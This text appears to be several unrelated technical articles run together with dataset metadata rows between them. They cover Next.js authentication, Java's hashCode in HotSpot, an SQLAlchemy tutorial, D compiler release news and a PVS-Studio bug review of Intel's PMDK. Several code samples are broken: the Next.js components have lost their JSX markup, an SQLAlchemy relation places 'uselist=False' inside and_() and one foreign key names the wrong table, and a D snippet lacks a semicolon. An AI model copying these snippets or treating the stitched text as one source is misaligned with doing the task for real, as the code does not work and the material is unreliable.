Аутентификация — это процесс определения того, кем является пользователь, а авторизация — процесс определения его полномочий, т.е. того, к чему пользователь имеет доступ. `Next.js` поддерживает несколько паттернов аутентификации.
### Паттерны аутентификации
Паттерн аутентификации определяет стратегию получения данных. Далее необходимо выбрать провайдера аутентификации, который поддерживает выбранную стратегию. Основных паттерна аутентификации два:
* использование статической генерации для серверной загрузки состояния и получения данных пользователя на стороне клиента
* получение данных пользователя от сервера во избежание "вспышки" (flush) неаутентифицированного контента (имеется ввиду видимое пользователю переключение состояний приложения)
**Аутентификация при статической генерации**
`Next.js` автоматически определяет, что страница является статической, если на этой странице отсутствуют блокирующие методы для получения данных. Это означает отсутствие на странице `getServerSideProps`. В этом случае на странице рендерится начальное состояние, полученное от сервера, а затем на стороне клиента запрашиваются данные пользователя.
Одним из преимуществ использования данного паттерна является возможность доставки страниц из глобального `CDN` и их предварительная загрузка с помощью `next/link`. Это приводит к уменьшению времени до интерактивности (Time to Interactive, TTI).
Рассмотрим пример страницы профиля пользователя. На этой странице сначала рендерится шаблон (скелет), а после выполнения запроса на получения данных пользователя, отображаются эти данные:
```
// pages/profile.js
import useUser from '../lib/useUser'
import Layout from './components/Layout'
export default function Profile() {
// получаем данные пользователя на стороне клиента
const { user } = useUser({ redirectTo: '/login' })
// состояние загрузки, полученное от сервера
if (!user || user.isLoggedIn === false) {
return Загрузка...
}
// после выполнения запроса отображаются данные пользователя
return (
Ваш профиль
===========
```
{JSON.stringify(user, null, 2)}
```
)
}
```
**Аутентификация при рендеринге на стороне сервера**
Если на странице имеется асинхронная функция `getServerSideProps`, `Next.js` будет рендерить такую страницу при каждом запросе с использованием данных из этой функции.
```
export async function getServerSideProps(context) {
return {
props: {} // будут переданы компоненту страницы как пропы
}
}
```
Перепишем приведенный выше пример. При наличии сессии компонент `Profile` получит проп `user`. *Обратите внимание* на отсутствие шаблона:
```
// pages/profile.js
import withSession from '../lib/session'
import Layout from '../components/Layout'
export const getServerSideProps = withSession(async (req, res) => {
const user = req.session.get('user')
if (!user) {
return {
redirect: {
destination: '/login',
permanent: false
}
}
}
return {
props: {
user
}
}
})
export default function Profile({ user }) {
// отображаем данные пользователя, состояния загрузки не требуется
return (
Ваш профиль
===========
```
{JSON.stringify(user, null, 2)}
```
)
}
```
Преимуществом данного подхода является предотвращение вспышки неаутентифицированного контента перед выполнением перенаправления. Важно отметить, что запрос данных пользователя в `getServerSideProps` блокирует рендеринг до разрешения запроса. Поэтому во избежание создания узких мест и увеличения времени до первого байта (Time to Fist Byte, TTFB), следует убедиться в хорошей производительности сервиса аутентификации.
### Провайдеры аутентификации
Если у вас имеется база данных с пользователями, рассмотрите возможность использования одного из следующих решений:
* [`next-iron-session`](https://github.com/vercel/next.js/tree/canary/examples/with-iron-session) — низкоуровневая закодированная сессия без состояния
* [`next-auth`](https://github.com/nextauthjs/next-auth-example) — полноценная система аутентификации со встроенными провайдерами (Google, Facebook, GitHub и т.д.), JWT, JWE, email/пароль, магическими ссылками и др.
Если вы предпочитаете старый-добрый [`passport`](http://www.passportjs.org/):
* [`with-passport`](https://github.com/vercel/next.js/tree/canary/examples/with-passport)
* [`with-passport-and-next-connect`](https://github.com/vercel/next.js/tree/canary/examples/with-passport-and-next-connect)
Пожалуй, на сегодня это все.
Благодарю за внимание и хорошего дня!
---
[](https://cloud.timeweb.com/?utm_source=habr&utm_medium=banner&utm_campaign=cloud&utm_content=direct&utm_term=low) | https://habr.com/ru/post/588498/ | null | ru | null |
# Откуда растут ноги у hashCode
Опять на собеседованиях по Java спрашивают про `hashCode` и `equals`? А кто из собеседующих сам ответит на вопрос, как вычисляется `Object.hashCode()` и `System.identityHashCode()`? Насколько дорог вызов этих методов? Как их можно ускорить в HotSpot JVM? Держу пари, едва ли кто даст правильный ответ. Разве что, кто прочитает эту статью.
Существует распространенное заблуждение, что `Object.hashCode` возвращает адрес объекта в памяти. Когда-то давно, наверное, так оно и было. Например, Dalvik VM до сих пор использует адрес объекта, сдвинутый на 3 бита вправо. Однако такая реализация неудачна: во-первых, последовательно выделяемые объекты будут иметь последовательные хеш-коды; во-вторых, сборщик мусора может передвигать объекты в памяти, меняя их адреса.
Так получилось, что на прошлой неделе я дважды столкнулся с темой вычисления хеш-кода, что и побудило меня написать заметку. Сначала попался на глаза крайне несправедливо заминусованный [комментарий](http://habrahabr.ru/post/164881/#comment_5678769). Именно [SSSurkv](https://habrahabr.ru/users/sssurkv/) совершенно верно предположил, что для вычисления `Object.hashCode` используется генератор случайных чисел.
– Как так? – спросите вы. – Ведь хеш-код объекта должен оставаться постоянным в течение жизни приложения.
Все верно. Встроенный хеш-код генерируется лишь один раз для каждого объекта при первом вызове метода `hashCode()`, после чего сохраняется в заголовке объекта для последующих вызовов. Но для первого раза используется именно random! Убедитесь сами, заглянув в [исходники OpenJDK](http://hg.openjdk.java.net/jdk7/jdk7/hotspot/file/tip/src/share/vm/runtime/synchronizer.cpp) (функция `get_next_hash`).
Вероятно, я бы забыл про этот случай, если бы на днях не столкнулся с реальной проблемой в реальном проекте. Профилируя приложение, среди горячих методов я неожиданно увидел `IdentityHashMap.put()`, который, на мой взгляд, реализован довольно эффективно. Узким местом оказался `System.identityHashCode()`, на который IdentityHashMap полагается. Причем медленным был только первый вызов identityHashCode на объекте. Второй и последующие вызовы, как мы теперь знаем, берут сохраненное значение из заголовка.
Но нет худа без добра. Дело в том, что в HotSpot можно выбирать реализацию `Object.hashCode` с помощью ключа командной строки `-XX:hashCode=n` (где n от 0 до 5).
0 – [Park-Miller RNG](http://en.wikipedia.org/wiki/Park-Miller_random_number_generator) (по умолчанию)
1 – f(адрес, глобальное\_состояние)
2 – константа 1
3 – последовательный счетчик
4 – адрес объекта
5 – Thread-local [Xorshift](http://en.wikipedia.org/wiki/Xorshift)
Наиболее адекватным, на мой взгляд, является последний – он дает неплохое равномерное распределение, используя только битовые операции, и, что важно для конкурентных алгоритмов, не трогает глобальные переменные.
Так, всего лишь добавив ключ JVM `-XX:hashCode=5`, я магическим образом ускорил свой алгоритм на 30%! Почему этот вариант до сих пор не сделали дефолтным, остается загадкой…
Напоследок забавный факт: хотспотовский `hashCode` никогда не вернет 0, так как 0 считается признаком того, что хеш-код для данного объекта еще не генерировался:
```
if (value == 0) value = 0xBAD ;
```
Надеюсь, теперь, когда вы узнали всю правду о `hashCode`, вы сможете не только удивить коллег на собеседовании, но и сделать свои алгоритмы еще эффективнее. | https://habr.com/ru/post/165683/ | null | ru | null |
# Крадущийся тигр, затаившийся SQLAlchemy. Основы
Доброго дня.
Сегодня хочу рассказать про ORM SQLAlchemy. Поговорим о том, что это, про его возможности и гибкость, а также рассмотрим случаи, которые не всегда понятно описаны.
Данная ORM имеет порог вхождения выше среднего, поэтому я попытаюсь объяснить всё простым языком и с примерами. Статья будет полезна тем, кто уже работает с sqlalchemy и хочет прокачать свои навыки или только знакомится с этой библиотекой.
Используемый язык программирования — python 3.6.
БД — PostgreSQL.
Ссылка на [github](https://github.com/sandix90/sqlalchemy_basics)
Итак, что такое ORM?
ORM (Object-Relational Mapping) — это технология, которая позволяет сопоставлять модели, типы которых несовместимы. Например: таблица базы данных и объект языка программирования.
Иными словами, можно обращаться к объектам классов для управления данными в таблицах БД. Также можно создавать, изменять, удалять, фильтровать и, самое главное, наследовать объекты классов, сопоставленные с таблицами БД, что существенно сокращает наполнение кодовой базы.
Чтобы использовать возможности SQLAlchemy, необходимо понять принцип его работы.
Разработчикам, которые используют Django-ORM, придется немного перестроить образ мышления для создания ORM запросов. На мой взгляд, SQLAlchemy — функциональный монстр, возможностями которого можно и нужно пользоваться, но нужно понимать, что ORM не всегда идеальны. Поэтому обсудим моменты, когда использование этой технологии целесообразно.
В SQLAlchemy есть понятие декларативных и недекларативных определений моделей.
Недекларативные определения подразумевают использования mapper(), описывающего сопоставление каждой колонки БД и классом модели.
В данной статье используется декларативное определение моделей.
Подробнее [здесь](https://docs.sqlalchemy.org/en/13/orm/extensions/declarative/api.html#sqlalchemy.ext.declarative.declarative_base)
### Структура БД
Для полной консистентности данных давайте создадим следующие таблицы.
Базовая модель служит для определения базовых колонок в БД.
```
class BaseModel(Base):
__abstract__ = True
id = Column(Integer, nullable=False, unique=True, primary_key=True, autoincrement=True)
created_at = Column(TIMESTAMP, nullable=False)
updated_at = Column(TIMESTAMP, nullable=False)
def __repr__(self):
return "<{0.__class__.__name__}(id={0.id!r})>".format(self)
```
Employee — таблица, описывающая работника, который работает в офисе
```
class Employee(BaseModel):
__tablename__ = 'employees'
first_name = Column(VARCHAR(255), nullable=False)
last_name = Column(VARCHAR(255), nullable=False)
phone = Column(VARCHAR(255), unique=True, nullable=True)
description = Column(VARCHAR(255), nullable=True)
```
EmployeeWithSkills — не таблица. Класс наследуемый от Employee. Отличная возможность разделить логику и использовать класс, будто это отдельная таблица.
```
class EmployeeWithSkills(Employee):
skills = relation(Skill, secondary=EmployeesSkills.__tablename__, lazy='joined')
```
Department — отдел, в котором работает этот сотрудник. Человек может состоять в нескольких отделах.
```
class Department(BaseModel):
__tablename__ = 'departments'
name = Column(VARCHAR(255), nullable=False)
description = Column(VARCHAR(255), nullable=False)
```
Таблица соответствий работника и подразделений, в которых он состоит.
```
class EmployeeDepartments(BaseModel):
__tablename__ = 'employee_departments'
employee_id = Column(Integer, ForeignKey('employees.id', ondelete='CASCADE'), nullable=False, index=True)
department_id = Column(Integer, ForeignKey('departments.id', ondelete='CASCADE'), nullable=False, index=True)
```
Таблица соответствий сотрудников и их умений.
```
class EmployeesSkills(BaseModel):
__tablename__ = 'employees_skills'
employee_id = Column(ForeignKey('employee.id', ondelete='CASCADE'), nullable=False, index=True)
skill_id = Column(ForeignKey('skills.id', ondelete='CASCADE'), nullable=False, index=True)
```
Создаем миграции с помощью пакета alembic, позволяющего генерировать их автоматически. В рамках данного урока автогенерация миграций вполне допустима.
В последней миграции присутствуют тестовые данные, которые наполнят базу.
Как настроить alembic можно почитать [здесь](https://alembic.sqlalchemy.org/en/latest/)
Выполняем заветные alembic upgrade head, чтобы выполнить миграцию.
### Запросы и relations
Давайте сделаем первый запрос и получим информацию о сотруднике по его id.
Запрос будет выглядеть так:
lesson1:
```
employee = session.query(Employee).filter(Employee.id == eid).one()
output:
ID: 2, Tony Stark
```
`.one()` в конце обозначает, что мы намерены получить только одну запись. Если записей будет несколько, возникнет соответствующее исключение.
Если мы захотим получить все имеющиеся отделы, то можно воспользоваться следующим запросом c использованием `.all()`
lesson2:
```
emmployee = session.query(Department).all()
output:
ID: 2, name: Guards
ID: 4, name: Legions
```
Рассмотрим работу с функциями агрегации.
Мы можем получить количество имеющихся департаментов с помощью встроенной функции
`.count()` или использовать `func.count()`. С помощью второго метода можно обращаться к любым функциям SQL, используя для `select` или для вычисления промежуточных результатов.
lesson3:
```
def get_departments_count(session: DBSession) -> int:
count = session.query(Department).count()
return count
def get_departments_func_count(session: DBSession) -> int:
count = session.query(func.count(Department.id)).scalar()
return count
```
Многие разработчики используют функцию `count()` для проверки наличия данных в запросе. Это не очень хорошая практика, порождающая использование дополнительных ресурсов БД и увеличение времени выполнения запроса. Хорошим решением будет использование функции `exists()`, возвращающей скалярное значение:
lesson3:
```
def check_department_exists(session: DBSession, department_name: str) -> bool:
is_exists = session.query(exists().where(Department.name == department_name)).scalar()
return is_exists
```
Двигаясь дальше, усложним задачу и познакомимся с сущностью `relation` или `relationship`. Дело в том, что в `SQLAlchemy` кроме использования foreign\_key
на уровне базы данных, используются еще и отношения между объектами.
Таким образом мы можем получить зависимую по foreign key строку БД в объекте.
Эти объекты являются проекцией на таблицы БД, связанные между собой.
`Relations` в `SQLAlchemy` имеют гибкую настройку, позволяя получать данные из БД разными способами в разное время с помощью именованного аргумента `lazy`.
Основные степени "ленивости":
* `select` — по умолчанию. ORM делает запрос только тогда, когда обращаются к данным. Осуществляется отдельным запросом.
* `dynamic` — позволяет получить объект запроса, который можно модифицировать по желанию. Получает данные из БД только после вызова all() или one() или любых других доступных методов.
* `joined` — в основной запрос добавляется с помощью LEFT JOIN. Выполняется сразу.
* `subquery` — похож на select, но выполняется как подзапрос.
По умолчанию — `select`.
Фильтрация в запросах может быть статической и динамической. Динамическая фильтрация позволяет наполнить запрос фильтрами, которые могут изменяться в зависимости от хода выполнения функции.
lesson4:
```
def dynamic_filter(session: DBSession, filter: DFilter = None):
query = session.query(Employee)
if filter is not None:
query = query.filter(*filter.conds)
employees = query.all()
return employees
```
В классе фильтра DFilter указаны фильтры на основе каких-либо входных данных. Если класс фильтра определён, но далее в запросе применяются условия.
Функция .filter() принимает принимает бинарные условия SQLAlchemy, поэтому может быть представлена с помощью \*
Применение динамических фильтров ограничивается только фантазией. Результат выполнения запроса показывает, какие герои сейчас неактивны.
```
output:
Inactive_heros:
Name: Tony Stark
Name: Scott Lang
Name: Peter Parker
```
Предлагаю поработать с отношением many-to-many.
Мы имеем таблицу Employee, в которой присутствует relation к таблице соответствий EmployeesSkills. Она содержит foreign\_key на таблицу сотрудников и foreign\_key
на таблицу умений.
lesson 5:
```
def get_employee_with_skills(session: DBSession, eid: int):
employee = session.query(EmployeeWithSkills).filter(EmployeeWithSkills.id == eid).one()
return employee
output:
Employee Tony Stark has skills:
Skill: Fly, Desc: I belive I can Fly. I belive I can touch the sky
Skill: Light Shield, Desc: Light protect. Perfect for everything
```
Используя класс EmployeeWithSkills в запросе выше, мы обращаемся к нему, как к таблице БД, но на самом деле такой таблицы не существует. Это класс отличается от Employee наличие relation, которое имеет отношение many-to-many. Так мы можем разграничивать логику работы классов, наполняя разным набором relations. В результате запроса мы увидим умения одного из сотрудников.
Так как сотрудник может состоять в нескольких подразделениях, создадим relation, позволяющий получить эту информацию.
Создадим класс EmployeeWithDepartments, наследуемый от Employee и добавим следующее:
```
class EmployeeWithDepartments(Employee):
departments = relation(
Department,
# primaryjoin=EmployeeDepartments.employee_id == Employee.id,
secondary=EmployeeDepartments.__tablename__,
# secondaryjoin=EmployeeDepartments.department_id == Department.id,
)
```
Созданный класс не является новой таблицей БД. Это все та же таблица Employee, только расширенная c помощью `relation`. Таким образом, вы можете обращаться к таблице `Employee` или `EmployeeWithDepartments` в запросах. Разница будет лишь в отсутствии/наличии `relation`.
Первый аргумент указывает к какой таблице мы будем создавать `relation`.
`primaryjoin` — это условие, по которому будет подключаться вторая таблица до её присоединения к объекту.
`secondary` — имя таблицы, содержащее foreign\_keys для сопоставления. Используется в случае many-to-many.
`secondaryjoin` — условия сопоставления промежуточной таблицы с последней.
`primaryjoin` и `secondaryjoin` служат для явного указания соответствий в сложных ситуациях.
Порой возникают ситуации, когда необходимо создавать фильтры, поля которых объявлены в отношениях, а отношения в свою очередь являются отношениями исходного класса.
```
EmployeeWithCadreMovements -> relation(CadreMovement) -> field
```
Если отношение отображает список значений, то нужно использовать .any(), если значение предусмотрено только одно, то необходимо использовать .has()
Для лучшего понимания, данная конструкция будет интерпретирована на SQL языка в конструкцию exists().
Вызовем функцию получения с указанием параметра причины `reason`, например, `simple`.
lesson6
```
def has_in_relations(session: DBSession, reason: str):
employees = session.query(EmployeeWithCadreMovements).filter(EmployeeWithCadreMovements.cadre_movements.any(CadreMovement.reason == reason)).all()
return employees
output:
[Steve Rogers, Tony Stark]
```
lession7
Рассмотрим возможность получения relation с помощью функции агрегации. Например, получим последнее кадровое движение определенного пользователя.
primaryjoin является условием присоединения таблиц (в случае использования lazy='joined'). Напомним, что по умолчанию используется select.
В этом случае, формируется отдельный запрос при обращении к атрибуту класса. Именно для этого запроса мы и можем указать условия фильтрации.
Как известно, нельзя использовать функции агрегации в "чистом" виде в WHERE условии, поэтому мы можем реализовать данную возможность, указав relation
со следующими параметрами:
```
last_cadre_movement = relation(
CadreMovement,
primaryjoin=and_(
CadreMovement.employee == Employee.id,
uselist=False,
CadreMovement.id == select([func.max(CadreMovement.id)]).where(CadreMovement.employee == Employee.id)
)
)
```
При выполнении запрос скомпилируется так:
```
SELECT
cadre_movements.id AS cadre_movements_id,
cadre_movements.created_at AS cadre_movements_created_at,
cadre_movements.updated_at AS cadre_movements_updated_at,
cadre_movements.employee AS cadre_movements_employee,
cadre_movements.old_department AS cadre_movements_old_department,
cadre_movements.new_department AS cadre_movements_new_department,
cadre_movements.reason AS cadre_movements_reason
FROM cadre_movements
WHERE cadre_movements.employee = %(param_1)s
AND cadre_movements.id = (
SELECT max(cadre_movements.id) AS max_1
FROM cadre_movements
WHERE cadre_movements.employee = %(param_1)s
)
```
[Ссылка на github](https://github.com/sandix90/sqlalchemy_basics)
### Итог
SQLAlchemy является мощнейшим инструментом в построении запросов, который уменьшает время разработки, поддерживая наследование.
Но стоит соблюдать тонкую грань между использованием ORM и написанием сложных запросов. В некоторых случаях ORM может запутать разработчика или сделать код громоздким и нечитаемым.
Удачи! | https://habr.com/ru/post/470285/ | null | ru | null |
# Последние версии компиляторов D
Группа разработчиков LDC закрыла ушедший год [версией 1.19.0 компилятора D, использующего LLVM](https://github.com/ldc-developers/ldc/releases/tag/v1.19.0), а основная команда начала новый год [версией 2.090.0 эталонного компилятора DMD](https://dlang.org/changelog/2.090.0.html). И если вы еще не слышали, не так давно появились важные новости о [D-компиляторе на базе GCC, GDC](https://github.com/D-Programming-GDC/gcc). Наверстываем!
LDC 1.19.0
----------
Этот релиз содержит обновление компилятора LDC до версии D фронтэнда 2.089.1, которая была текущей версией на момент выпуска, сразу после католического Рождества. Собранные сборки [основаны на LLVM 9.01](http://releases.llvm.org/).
Среди основных моментов в этом релизе — некоторая симпатия к Android. Готовая библиотека DRuntime/Phobos теперь доступна для всех Android таргетов. Этот релиз может использоваться в сочетании с проектом [D Android Адама Руппе](https://github.com/adamdruppe/d_android), сборником вспомогательных программ и интерфейсов, [сейчас в бете близкой к завершению](https://forum.dlang.org/post/cqdqhrporufpzkwjwkrw@forum.dlang.org), для разработки на D под Android с LDC.
Пользователи Windows обнаружат, что поставляемые в комплекте библиотеки линковки на базе MinGW были обновлены. Теперь они являются производными от файлов .def из пакета [MinGW-w64 7.0.0](http://mingw-w64.org/doku.php). Эти библиотеки позволяют использовать системные библиотеки Windows без необходимости установки Windows SDK.
DMD 2.090.0
-----------
Последняя версия DMD [была объявлена 7 января](https://forum.dlang.org/post/qv1mji%24f81%241@digitalmars.com). Она вышла с 10 крупными изменениями и [71 закрытым багом, любезно предоставленными 48 соавторами](https://dlang.org/changelog/2.090.0.html).
С этим релизом теперь возможно больше с lazy-параметрами. [D давно поддерживает ленивые параметры](https://dlang.org/spec/function.html#lazy-params):
> Аргумент lazy-параметра не вычисляется до вызова функции. Аргумент обрабатывается только если/когда параметр вычисляется внутри функции.
>
> Следовательно, lazy-аргумент может быть выполнен 0 или более раз.
Под капотом они реализуются как делегаты. Теперь можно добраться до базового делегата, взяв адрес параметра, что ранее было запрещено.
```
import std.stdio;
void chillax(lazy int x)
{
auto dg = &x
assert(dg() == 10);
writeln(x);
}
void main()
{
chillax(2 * 5);
}
```
Этот релиз также делает устаревшей [идиому D](https://p0nce.github.io/d-idioms/#GC-proof-resource-class), используемую теми, кто сталкивается с необходимостью различать финализацию (недетерминистическое разрушение объектов, обычно инициируемое сборщиком мусора) и нормальную деструкцию (детерминистическое разрушение объектов) изнутри деструктора класса или структуры.
При нынешнем состоянии GC, осуществление любых GC-операций во время финализации запрещено. Однако в D не предусмотрены раздельные финализаторы и деструкторы. Существует только ***~this***, который называется деструктором, несмотря на то, что исполняет обе роли. Это иногда создает трудности при реализации деструкторов для типов, которые предназначены как для GC, так и для не-GC аллокаторов. Любое обращение к GC при очистке может привести к ошибке InvalidMemoryOperationError. Отсюда вытекает необходимость вышеупомянутого обходного пути.
Теперь можно вызвать статическую функцию GC, core.memory.GC.inFinalizer, чтобы получить ваше состояние в деструкторе. Она возвращает true, если текущий поток выполняет финализацию, и в этом случае вы не желаете совершать никаких действий, затрагивающих операции с GC. (Я ждал чего-то подобного, прежде чем писать следующую статью в [моей серии про GC](https://dlang.org/blog/the-gc-series/)).
GDC
---
Благодаря упорному труду Иена Буклау, Йоханнеса Пфау и всех волонтеров, которые поддерживали и вносили свой вклад на протяжении многих лет, GDC [был принят в GCC 9](https://gcc.gnu.org/gcc-9/) в конце 2018 года и стал доступен в составе комплекта GCC 9.1, выпущенного в мае прошлого года. GCC 9.2 был выпущен в августе прошлого года. Эта версия GDC реализует версию 2.076 фронтенда D. Вы можете [собрать ее самостоятельно](https://github.com/D-Programming-GDC/gcc) или установить оттуда же, откуда вы обычно берете GCC 9.x.
#### От переводчика
Данный выпуск блога практически полностью перекрыл блок из готовящейся статьи по надежному программированию, посвященной в т.ч.D, ну за исключением критики и состоянию дел с IDE, потому подвернулся исключительно удачно. | https://habr.com/ru/post/483440/ | null | ru | null |
# Static code analysis of the PMDK library collection by Intel and errors that are not actual errors
We were asked to check a collection of open source PMDK libraries for developing and debugging applications with NVRAM support by PVS-Studio. Well, why not? Moreover, this is a small project in C and C++ with a total code base size of about 170 KLOC without comments. Which means, the results review won't take much energy and time. Let's go.
The PVS-Studio 7.08 tool will be used to analyze the source code. Of course, readers of our blog have long been familiar with our tool, so I won't focus on it. For those who have visited us for the first time, I suggest you refer to the article "[How to quickly check out interesting warnings given by the PVS-Studio analyzer for C and C++ code](https://www.viva64.com/en/b/0633/)?" and [try](https://www.viva64.com/en/pvs-studio-download/) the free trial version of the analyzer.
This time I will take a look inside the PMDK project and tell you about the errors and shortcomings that I've noticed. My inner feeling was telling me there weren't many of them, which indicates a high quality of the project code. As for some peculiar things, I found several fragments of incorrect code, which nevertheless was working correctly :). What I mean will become clearer from the rest of the story.
So PMDK is a collection of open source libraries and tools designed to simplify the development, debugging, and management of applications that support NVRAM. Check out more details here: [PMDK Introduction](https://docs.pmem.io/persistent-memory/getting-started-guide/what-is-pmdk). The source code is available here: [pmdk](https://github.com/pmem/pmdk).
Let's see what errors and shortcomings I can find in it. I must say straight away that I wasn't always attentive when analyzing the report and could have missed a lot. Therefore, I urge the authors of the project not to be guided by this article when correcting defects, but to double-check the code themselves. As for me, to write the article, it will be enough to cite what I noted while viewing the list of warnings :).
Incorrect code that works
-------------------------
### Size of allocated memory
Programmers often spend time debugging code when the program doesn't behave as it should. However, sometimes there are cases when the program works correctly, but the code contains an error. The programmer just got lucky, and the error doesn't reveal itself. In the PMDK project, I stumbled upon several such interesting cases, so I decided to gather them together in a separate section.
```
int main(int argc, char *argv[])
{
....
struct pool *pop = malloc(sizeof(pop));
....
}
```
PVS-Studio warning: V568 It's odd that 'sizeof()' operator evaluates the size of a pointer to a class, but not the size of the 'pop' class object. util\_ctl.c 717
A classic typo due to which the wrong amount of memory is allocated. The *sizeof* operator will return the size of the pointer to the structure instead of the size of this structure. The correct version is:
```
struct pool *pop = malloc(sizeof(pool));
```
or
```
struct pool *pop = malloc(sizeof(*pop));
```
However, this incorrectly written code works fine. The fact is that the *pool* structure contains exactly one pointer:
```
struct pool {
struct ctl *ctl;
};
```
It turns out that the structure takes exactly as much space as the pointer. So that's all right.
### String length
Let's move on to the next case where an error was made again using the *sizeof* operator.
```
typedef void *(*pmem2_memcpy_fn)(void *pmemdest, const void *src, size_t len,
unsigned flags);
static const char *initial_state = "No code.";
static int
test_rwx_prot_map_priv_do_execute(const struct test_case *tc,
int argc, char *argv[])
{
....
char *addr_map = pmem2_map_get_address(map);
map->memcpy_fn(addr_map, initial_state, sizeof(initial_state), 0);
....
}
```
PVS-Studio warning: V579 [CWE-687] The memcpy\_fn function receives the pointer and its size as arguments. It is possibly a mistake. Inspect the third argument. pmem2\_map\_prot.c 513
To copy a string, a pointer to a special copy function is used. Note the call to this function, or rather its third argument.
The programmer assumes that the *sizeof* operator will calculate the size of the string literal. But, in fact, it is the size of the pointer that is calculated again.
The lucky thing is that the string consists of 8 characters, and its size matches the size of the pointer if the 64-bit application is being built. As a result, all 8 characters of the string "No code." will be copied successfully.
In fact, the situation is even more complicated and intriguing. The interpretation of this error depends on whether the author wanted to copy the terminal null or not. Let's consider two scenarios.
**Scenario 1.** Terminal null had to be copied. This way, I'm wrong and this is not just a harmless bug that doesn't manifest itself. Only 8 bytes were copied, not 9 bytes. There is no terminal null, and the consequences can't be predicted. In this case, one can correct the code by changing the definition of the *initial\_state* constant string as follows:
```
static const char initial_state [] = "No code.";
```
Now the value of *sizeof(initial\_state)* is 9.
**Scenario 2.** Terminal null is not required at all. For example, you can see this line of code below:
```
UT_ASSERTeq(memcmp(addr_map, initial_state, strlen(initial_state)), 0);
```
As you can see, the *strlen* function returns 8 and terminal null is not involved in the comparison. Then it's really good luck and all is well.
### Bitwise shift
The following example is related to the bitwise shift operation.
```
static int
clo_parse_single_uint(struct benchmark_clo *clo, const char *arg, void *ptr)
{
....
uint64_t tmax = ~0 >> (64 - 8 * clo->type_uint.size);
....
}
```
PVS-Studio warning: V610 [CWE-758] Unspecified behavior. Check the shift operator '>>'. The left operand '~0' is negative. clo.cpp 205
The result of shifting the negative value to the right depends on the compiler implementation. Therefore, although this code may work correctly and expectedly under all currently existing application compilation modes, it is still a piece of luck.
### Operation precedence
And let's look at the last case related to the operation precedence.
```
#define BTT_CREATE_DEF_SIZE (20 * 1UL << 20) /* 20 MB */
```
PVS-Studio warning: V634 [CWE-783] The priority of the '\*' operation is higher than that of the '<<' operation. It's possible that parentheses should be used in the expression. bttcreate.c 204
To get a constant equal to 20 MB, the programmer decided to follow these steps:
* Shifted 1 by 20 bits to get the value 1048576, i.e. 1 MB.
* Multiplied 1 MB by 20.
In other words, the programmer thinks that the calculations occur like this: (20 \* (1UL << 20)).
But in fact, the priority of the multiplication operator is higher than the priority of the shift operator and the expression is calculated like this: ((20 \* 1UL) << 20).
Agree it is unlikely that the programmer wanted the expression to be calculated in such a sequence. There is no point in multiplying 20 by 1. So this is the case where the code doesn't work the way the programmer intended.
But this error won't manifest itself in any way. It doesn't matter how to write it:
* (20 \* 1UL << 20)
* (20 \* (1UL << 20))
* ((20 \* 1UL) << 20)
The result is [always the same](https://godbolt.org/z/sPsoMT)! The desired value 20971520 is always obtained and the program works perfectly correctly.
Other errors
------------
### Parentheses in the wrong place
```
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
static void
enum_handles(int op)
{
....
NTSTATUS status;
while ((status = NtQuerySystemInformation(
SystemExtendedHandleInformation,
hndl_info, hi_size, &req_size)
== STATUS_INFO_LENGTH_MISMATCH)) {
hi_size = req_size + 4096;
hndl_info = (PSYSTEM_HANDLE_INFORMATION_EX)REALLOC(hndl_info,
hi_size);
}
UT_ASSERT(status >= 0);
....
}
```
PVS-Studio warning: V593 [CWE-783] Consider reviewing the expression of the 'A = B == C' kind. The expression is calculated as follows: 'A = (B == C)'. ut.c 641
Take a careful look here:
```
while ((status = NtQuerySystemInformation(....) == STATUS_INFO_LENGTH_MISMATCH))
```
The programmer wanted to store the value returned from the *NtQuerySystemInformation* function in the *status* variable and then compare it with a constant.
The programmer probably knew that the priority of the comparison operator (==) is higher than that of the assignment operator (=), and therefore parentheses should be used. But probably made a mistake and put them in the wrong place. As a result, parentheses don't help in any way. Correct code:
```
while ((status = NtQuerySystemInformation(....)) == STATUS_INFO_LENGTH_MISMATCH)
```
Because of this error, the *UT\_ASSERT* macro will never work. After all, the *status* variable always contains the result of comparison, i.e. false (0) or true (1). So the condition ([0..1] >= 0) is always true.
### Potential memory leak
```
static enum pocli_ret
pocli_args_obj_root(struct pocli_ctx *ctx, char *in, PMEMoid **oidp)
{
char *input = strdup(in);
if (!input)
return POCLI_ERR_MALLOC;
if (!oidp)
return POCLI_ERR_PARS;
....
}
```
PVS-Studio warning: V773 [CWE-401] The function was exited without releasing the 'input' pointer. A memory leak is possible. pmemobjcli.c 238
If *oidp* turns out to be a null pointer, the copy of the string created by calling the *strdup* function will be lost. It is best to postpone the check until memory is allocated:
```
static enum pocli_ret
pocli_args_obj_root(struct pocli_ctx *ctx, char *in, PMEMoid **oidp)
{
if (!oidp)
return POCLI_ERR_PARS;
char *input = strdup(in);
if (!input)
return POCLI_ERR_MALLOC;
....
}
```
Or one can explicitly free up memory:
```
static enum pocli_ret
pocli_args_obj_root(struct pocli_ctx *ctx, char *in, PMEMoid **oidp)
{
char *input = strdup(in);
if (!input)
return POCLI_ERR_MALLOC;
if (!oidp)
{
free(input);
return POCLI_ERR_PARS;
}
....
}
```
### Potential overflow
```
typedef long long os_off_t;
void
do_memcpy(...., int dest_off, ....., size_t mapped_len, .....)
{
....
LSEEK(fd, (os_off_t)(dest_off + (int)(mapped_len / 2)), SEEK_SET);
....
}
```
PVS-Studio warning: V1028 [CWE-190] Possible overflow. Consider casting operands, not the result. memcpy\_common.c 62
Explicit casting the addition result to the *os\_off\_t* type doesn't make sense. First, this doesn't protect against the potential overflow that can occur when two *int* values are added together. Second, the result of addition would have been perfectly extended to the *os\_off\_t* type implicitly. Explicit type casting is simply redundant.
I think it would be more correct to write this way:
```
LSEEK(fd, dest_off + (os_off_t)(mapped_len) / 2, SEEK_SET);
```
Here an unsigned value of the *size\_t* type is converted to a signed value (to avoid a warning from the compiler). At the same time, overflow won't occur when adding.
### Incorrect protection against overflow
```
static DWORD
get_rel_wait(const struct timespec *abstime)
{
struct __timeb64 t;
_ftime64_s(&t);
time_t now_ms = t.time * 1000 + t.millitm;
time_t ms = (time_t)(abstime->tv_sec * 1000 +
abstime->tv_nsec / 1000000);
DWORD rel_wait = (DWORD)(ms - now_ms);
return rel_wait < 0 ? 0 : rel_wait;
}
```
PVS-Studio warning: V547 [CWE-570] Expression 'rel\_wait < 0' is always false. Unsigned type value is never < 0. os\_thread\_windows.c 359
It's not very clear to me what is this case which the check should protect us from. Anyway, the check doesn't work. The *rel\_wait* variable is of the *DWORD* unsigned type. This means that *rel\_wait < 0* doesn't make sense, since the result is always true.
